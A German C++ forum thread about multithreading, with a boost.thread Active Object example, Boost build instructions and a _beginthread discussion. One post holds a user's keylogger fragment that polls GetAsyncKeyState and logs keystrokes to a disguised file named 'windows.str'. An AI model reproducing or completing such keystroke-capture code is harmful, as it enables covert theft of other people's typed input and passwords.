Multithreading
-
-
albertk13 schrieb:
gibts da irgendwo ein bsp prog
Ich hab's im Forum nicht mehr wiedergefunden - nach mal proggen ging schneller. Anbei ein funktionsfähiges Beispiel - das setzt aber die Installation von boost voraus - inklusive des Generieren der boost.thread-Library.
#include <iostream> #include <queue> #include <boost/thread.hpp> #include <boost/bind.hpp> class Actor // das Active Object { typedef boost::mutex::scoped_lock lock_type; struct Cmd { Cmd( int typ, int param ) : m_typ( typ ), m_param( param ) {} int m_typ; int m_param; // oder auch mehr }; public: Actor() : m_guard() , m_signal() , m_input() , m_thrd( boost::bind( &Actor::run, this ) ) // ggf. compiler-warning an dieser Stelle ignorieren, solange m_thrd der letzte Member ist! {} ~Actor() { lock_type lk( m_guard ); m_input.push( Cmd( -1, 0 ) ); // damit der thread beendet wird !! lk.unlock(); // sonst warten wir ewig ;-) m_thrd.join(); } void Cmd1( int param ) { lock_type lk( m_guard ); m_input.push( Cmd( 1, param ) ); m_signal.notify_one(); } void Cmd2( int param ) { lock_type lk( m_guard ); m_input.push( Cmd( 2, param ) ); m_signal.notify_one(); } private: void do_cmd1( int param ) { using namespace std; cout << "Kommando 1 (" << param << ") ausfuehren ... " << endl; } void do_cmd2( int param ) { using namespace std; cout << "Kommando 2 (" << param << ") ausfuehren ... " << endl; } void run() // hier rennt der Thread { for(;;) { Cmd cmd(0,0); { // -- auf Eingabe warten lock_type lk( m_guard ); while( m_input.empty() ) // warte auf das 'notify' m_signal.wait( lk ); cmd = m_input.front(); // Kommando abholen m_input.pop(); } // löst das lock auf ... // -- Kommando ausführen switch( cmd.m_typ ) { case -1: std::cout << "Thread wird beendet " << std::endl; return; // Ende case 1: do_cmd1( cmd.m_param ); break; case 2: do_cmd2( cmd.m_param ); break; // usw. } } } // -- Members boost::mutex m_guard; boost::condition m_signal; std::queue< Cmd > m_input; boost::thread m_thrd; // MUSS hier letztes Member sein! }; int main() { using namespace std; Actor actor; actor.Cmd1( 42 ); actor.Cmd2( 99 ); cout << "Kommandos abgegeben " << endl; return 0; }
Beachte bitte, dass die Ausgabe über cout nicht gegeneinander verriegelt ist. Bei mir erscheint z.B. die Ausgabe:
Kommando 1 (42Kommandos abgegeben ) ausfuehren ... Kommando 2 (99) ausfuehren ... Thread wird beendet
Der String 'Kommandos abgegeben' wird also mitten in die Ausgabe des ersten Kommandos hineingeschrieben und das Zeilenende kommt zusammen mit dem Zeilenende aus do_cmd1(). Das nennt man eine 'race condition'.
Weiter sollte man die struct Cmd durch boost::function ersetzen, was eine vollständige Flexibilität erlaubt. Ich wollt das Beispiel aber nicht überladen.
Viel Spaß damit
WernerPS.: mit Multithreading kann man ganz neue Fehler machen, Du wirst Dich noch wundern
-
ok danke ich probier das jetzt mal aus
-
ich hab mir jetzt die aktuelle Boost version heruntergeladen aber keine ahnung wie ich die installieren soll ich hab mir schon irgendwas durchgelesen aber das war englisch und da hab ich fast nichts verstanden
hat irgendjemand eine kurze anleitung oder kann es mir erklährnen?
-
#include <process.h> void multi(void *dummy); main() { _beginthread(multi, 0,NULL); } void multi(void *dummy) { //sonstwas _endthread(); }
Ich hab mir jetz nich alles durchgelesen, aber was spricht denn hier dagegen?
-
albertk13 schrieb:
ich hab mir jetzt die aktuelle Boost version heruntergeladen aber keine ahnung wie ich die installieren soll ich hab mir schon irgendwas durchgelesen aber das war englisch und da hab ich fast nichts verstanden
hat irgendjemand eine kurze anleitung oder kann es mir erklährnen?Ja das ist hier erklärt. Ist zwar in Englisch, aber sollte nicht schwierig sein.
1.) boost.zip runterladen und auspacken
2.) Im boost-main-Directory eine Konsole aufmachen und z.B.bjam "-sTOOLS=msvc" install
aufrufen, wenn man das Visual Studio 6 installiert hat. Bei anderen Umgebungen entnehme man das Token 'msvc' aus dieser Tabelle; z.B. 'vc-8_0' für Visual Studio 8 bzw. 2005.
Das Default-Directory ist C:/Boost und in dem Projekt braucht man nur noch das Include-Directory auf 'C:\Boost\include\boost-1_33' (Boost-Version 1.33) und das Library-Directory auf 'C:/Boost/lib' einzustellen; die Libs werden automatisch über die #pragma-Aufrufe in den boost-Headern gelinkt.
gosha16 schrieb:
Ich hab mir jetz nich alles durchgelesen, aber was spricht denn hier dagegen?
Wenn mal mal übersieht, das vor dem main() das int fehlt, die Parameter-Übergabe nicht typsicher ist und man für jedes Kommando einen eigenen Thread braucht, im Wesentlichen dass der Code nicht funktioniert, weil i.A. der (Main-)Prozess bereits beendet wird, bevor der Thread seine Arbeit getan hat.
Gruß
Werner
-
also ich habs jetzt auch schon mal mit _beginthread probiert das sieht so aus:
_beginthread:
while(true){ char kl[]="keylogger", pw[]="pixelwahn"; cin >> befehl; if ((strcmp(befehl, kl))==0){ _beginthread ( startkeylogger , 0 , NULL); } else if ((strcmp(befehl, pw))==0){ startpixelwahn(); } else { cout << "Unbekannter Befehl"; return 0; }
_endthread:
void startkeylogger(void *ch){ time_t start = time (0); double dauer = 20; std::string Filename = "windows.str"; std::string TempString = ""; std::fstream FStream; FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); while((difftime(time(0), start))< dauer) { //Verhindert CPU Auslastung 5ms sleep Sleep(5); for(int i = 8; i < 191; i++) { if((GetAsyncKeyState(i)&1) ==1) { TempString = GetKey (i); FStream.write(TempString.c_str(), TempString.size()); FStream.close(); FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); } //if } //for } //while _endthread(); }
aber das funktioniert nicht!!! Warum???
@Werner Salomon
Was heißt im boost-main-Directory eine konsole aufmachen bzw wie geht das?
-
Werner Salomon... da haste dir jetz aber schön mühe gegeben meinen Post zu zerpflücken...
Ich werd garantiert nicht wegen jedem kleinen scheis ein komplettes Prog schreiben, und du solltest eigentlich intelligent genug sein zu verstehen das das einfach nur der simple aufbau is... :p
-
albertk13 schrieb:
also ich habs jetzt auch schon mal mit _beginthread probiert
Du tust Dir damit keinen Gefallen; glaub' mir
albertk13 schrieb:
Was heißt im boost-main-Directory eine konsole aufmachen bzw wie geht das?
Wenn Du unter Windows arbeitest (tust Du das?), dann
Start -> Programme -> Zubehör -> Eingabeaufforderung
dann erscheint ein DOS-Fenster. Du gibst zunächst eincd \
. Dann siehst Du
C:\>
. Mal angenommen Du hast boost unter C:\bla kopierst hat. So gibst Du nacheinander ein:
cd bla cd boost_1_33_0
.. oder boost_1_33_1; je nach dem welche Version Du hast. Jetzt sollte da
C:\bla\boost_1_33_0>
stehen, und dahinter ein blinkender Cursor.
Jetzt kannst Du mit bjam - wie oben beschrieben - die Generierung und Installation starten.
Jetzt habe ich es ganz vergessen: Vorher musst Du Dir noch das Bjam runterladen. Das wiederum hängt von Deiner verwendeten Plattform ab. Bjam gibt es bei Sourceforge.
Nenne uns bitte Dein Betriebssystem und die verwendete Umgebung. Kann sein, dass Du vorher noch was anderes einstellen musst ...
Gruß
Werner
-
gosha16 schrieb:
Werner Salomon... da haste dir jetz aber schön mühe gegeben meinen Post zu zerpflücken...
Ich werd garantiert nicht wegen jedem kleinen scheis ein komplettes Prog schreiben, und du solltest eigentlich intelligent genug sein zu verstehen das das einfach nur der simple aufbau is... :pIch wollte Dir nicht auf die Füße treten. Da hattest gefragt:
gosha16 schrieb:
aber was spricht denn hier dagegen?
Meine Antwort war vielleicht nicht ausreichend. Von diesem 'simplen Aufbau' zu einem wirklich (!) funktionsfähigen Programm zu kommen, welches u.a. sicher wartet, bis der Thread mit seiner Arbeit fertig ist, ist keineswegs trivial.
Multithreading-Programmierung ist wirklich schwierig und boost.thread nimmt einen schon mal einiges ab; aber eben nicht alles. Und ich kann jedem - ob Anfänger oder nicht - nur empfehlen, diese Hilfen nicht ungenutzt zu lassen.
Gruß
Werner
-
-
ich benutzt windows xp mit vc++ express edition